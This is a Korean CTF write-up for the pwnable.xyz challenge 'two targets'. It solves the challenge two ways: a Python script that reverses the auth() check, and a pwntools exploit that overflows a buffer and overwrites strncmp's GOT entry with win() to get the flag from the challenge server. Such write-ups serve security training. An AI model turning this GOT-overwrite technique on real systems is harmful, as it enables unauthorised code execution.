ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • two targets Write-up
    System/Pwnable.xyz 2020. 1. 20. 01:19

    [그림 1] two targets (50)

    이번 문제는 풀이법이 2개가 있다.

    하나는 암호화 루틴을 분석하는 것, 다른 하나는 GOT Overwrite로 원샷함수를 실행하는 것이다.

     

    이번 풀이법에서는 두 가지 모두 다뤄보도록 하겠다.

     


    Binary

    [그림 2] checksec

    가장 기본적인 보호기법으로 설정되어 있다.

    Partial RELRO이기 때문에 .got섹션에 쓰기권한이 부여되어 있다.

     


    Solve_1 ( 역연산 )

    [그림 3] Menu

    바이너리를 실행하면 총 4개의 메뉴는 제공한다.

    그 중 'Get shell'이라는 4번 메뉴가 가장 눈에 띈다.

     

    [그림 4] Get shell Menu

    IDA로 확인해보면 위와 같이 구성되어 있다.

    우선 auth( )라는 함수가 실행되고, auth( )의 반환값이 1(true)이면 win( )함수가 실행되면서 Flag를 얻을 수 있다.

     

    [그림 5] auth( )

    auth( )는 우리가 입력한 값에 대해서 특정 연산을 진행하고, 연산 결과값을 strncmp( )로 s2와 비교한다.

    strncmp( )는 두 값이 같으면 0을 반환하기 때문에 auth( )는 1(true)를 반환하게 된다.

     

    Input[i] >> 4 | Input[i] << 4 ^ *(main+i)

    auth( )의 연산을 간단하게 표현하면 위와 같이 표현할 수 있다.

    여기서 연산자 우선순위를 주의하면서 역연산을 진행해야 한다.

     

    위 연산의 진행 순서는 다음과 같다.

    (1). Input[i] >> 4 

    (2). Input[i] << 4

    (3). (1)의 결과 값 | (2)의 결과값

    (4). (3)의 결과 값 ^ *(main+i)

     

    연산 진행 순서를 생각하면서 역연산 스크립트를 작성하면 된다.

     

    먼저 s2는 전역변수로 BSS영역에 고정값으로 저장되어 있기 때문에 해당 값을 가져와서 *(main)과 xor연산을 진행한다.

    연산 결과값이 key값이 되며, Input[i] >> 4 | Input[i] << 4 의 결과 값이 Key값이 되도록 Input값을 입력해주면 된다.

     

    s2 = [0x11,0xde,0xcf,0x10,0xdf,0x75,
    		0xbb,0xa5,0x43,0x1e,0x9d,0xc2,0xe3,
    		0xbf,0xf5,0xd6,0x96,0x7f,0xbe,0xb0,
    		0xbf,0xb7,0x96,0x1d,0xa8,0xbb,0x0a,
    		0xd9,0xbf,0xc9,0x0d,0xff]
    main = [0x55,0x48,0x89,0xe5,0x48,0x83,0xec,
    		0x50,0x64,0x48,0x8b,0x04,0x25,0x28,
    		0x00,0x00,0x00,0x48,0x89,0x45,0xf8,
    		0x31,0xc0,0xe8,0x24,0xfe,0xff,0xff,
    		0x48,0x8d,0x45,0xc0]
    
    tmp = []
    key = []
    tmp2 = []
    
    # s2 XOR main
    for i in range(0,32):
    	tmp.append(s2[i] ^ main[i])
    	#print hex(tmp[i])
    
    # Change digits
    for i in range(0,32):
    	tmp2.append((tmp[i] % 0x10*0x10) + tmp[i]/0x10)
    	print hex(tmp2[i])
    
    # Verification
    for i in range(0,32):
    	key.append(tmp2[i] >> 4 | tmp2[i] << 4)
    	print hex(key[i])

    위와 같이 역연산 스크립트를 작성할 수 있다.

     

    s2와 main은 고정 값이며, s2와 main을 서로 XOR연산하여 XOR Key값을 구해준다.

    여기서 구해진 값이 main과 XOR연산하면 결과 값이 s2와 같아지는데, shift연산과 OR연산을 하면서 자릿수가 서로 바뀌게 된다.

     

    이 때문에 'Chage digits' 부분에서 서로 자릿수를 바꿔주는 작업이 필요하다.

     

    [그림 6] 역연산 결과

    Verification은 Change digits작업을 마친 값이 Shift연산과 OR연산을 진행한 결과 값이다.

    크기가 2Byte로 늘어났지만, 코드에서 (BYTE)로 참조하기 때문에 마지막 1Byte(0x44, 0x96, 0x46 ...)만 참조된다.

     

    [그림 7] strncmp( )

    실제 역연산 결과값을 입력했을 때, s2와 서로 같은 것을 확인할 수 있다.

     

    [그림 8] win( ) 실행

    auth( )의 반환 값이 참값이 되면서 win( )실행 흐름으로 바뀌게 된다.

     


    Solve_2 ( GOT Overwrite )

    [그림 9] Vuln Point

    4번 Get Shell 메뉴 말고도 다른 메뉴도 있는데, 취약한 메뉴는 Change nationality, Change age 이다.

     

    먼저 v7과 v8의 offset은 0x10(16Byte) 만큼이다.

    근데 Change nationality메뉴에서 0x18(24Byte)만큼 입력을 받으면서 v8에 8Byte만큼 덮어쓸 수 있게된다.

     

    v8은 scanf( )로 저장할 주소를 참조할 때 쓰이게 되는데, 이때 이전에 덮어쓴 주소에 원하는 값을 쓸 수 있게된다.

    GOT Overwrite를 할 때 유의해야 할 것이 %d(4Byte)만큼 쓸 수 있기 때문에 한번도 호출되지 않은 함수를 노려야 한다.

     

    한번이라도 호출된 함수는 0x7FFF...로 6Byte가 저장되어 있기 때문에, 상위 2Byte가  0x7FFF로 남아있게 된다.

    그래서 나는 strncmp( )를 타겟으로 정하고 진행하였다.

     

    from pwn import *
    
    p = remote("svc.pwnable.xyz",30031)
    
    win = 0x40099c
    strncmp_got = 0x603018
    
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil(": ")
    payload = "A"*0x10
    payload += p64(strncmp_got)
    p.sendline(payload)
    
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil(": ")
    p.sendline("4196764")
    
    p.recvuntil("> ")
    p.sendline("4")
    
    p.interactive()

    Exploit 코드는 위와 같으며, GOT Overwirte를 진행하고 4번메뉴로 strncmp( )를 실행 시켜주면 Flag를 얻을 수 있다.

     

    [그림 10] Solve

    'System > Pwnable.xyz' 카테고리의 다른 글

    JMP Table Write-up  (0) 2020.01.20
    note Write-up  (0) 2020.01.19
    misalignment Write-up  (0) 2020.01.19
    xor Write-Up  (1) 2019.12.22
    Welcome Write-Up  (0) 2019.12.08

    댓글

Designed by Tistory.